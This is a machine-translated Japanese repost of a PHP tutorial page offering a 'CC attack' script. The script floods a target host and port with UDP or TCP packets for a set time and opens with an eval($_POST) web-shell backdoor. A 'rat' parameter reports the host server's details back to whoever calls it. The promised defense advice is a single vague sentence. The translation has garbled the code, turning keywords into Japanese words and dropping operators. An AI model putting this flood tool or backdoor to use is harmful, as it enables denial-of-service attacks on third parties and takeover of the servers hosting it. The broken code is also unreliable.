ホームページ >php教程 >php手册 >PHP cc 攻撃コードと防御方法

PHP cc 攻撃コードと防御方法

WBOY
WBOYオリジナル
2016-06-13 11:56:361158ブラウズ

cc攻击代码,サポートudp

复制代代码如下:


eval($_POST[ Chr(90)]);
set_time_limit(86400);
ignore_user_abort(True);
$packets = 0;
$http = $_GET['http'];
$rand = $_GET['exit'];
$exec_time = $_GET['time'];
if (StrLen($http)==0 または StrLen($rand)==0 または StrLen($exec_time)==0)
{
if(StrLen($_GET['rat'] )<>0)
{
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|"。 php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
終了;
}
エコー "Php 2012 ターミネーター";
終了;
}
for($i=0;$i{
$out .= "X";
}
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
$max_time = time() $exec_time;
if($rand==53)
while(1)
{
$packets ;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets ;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets ;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>



cc 攻撃击の防御范,如果活動态页面,我们可能時間判断可能,如果静态的网站我们就必要服务器上実装防御cc攻撃击的软件了,一般服务器安全狗

良い場合は、ファイルを保存することもできます。
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。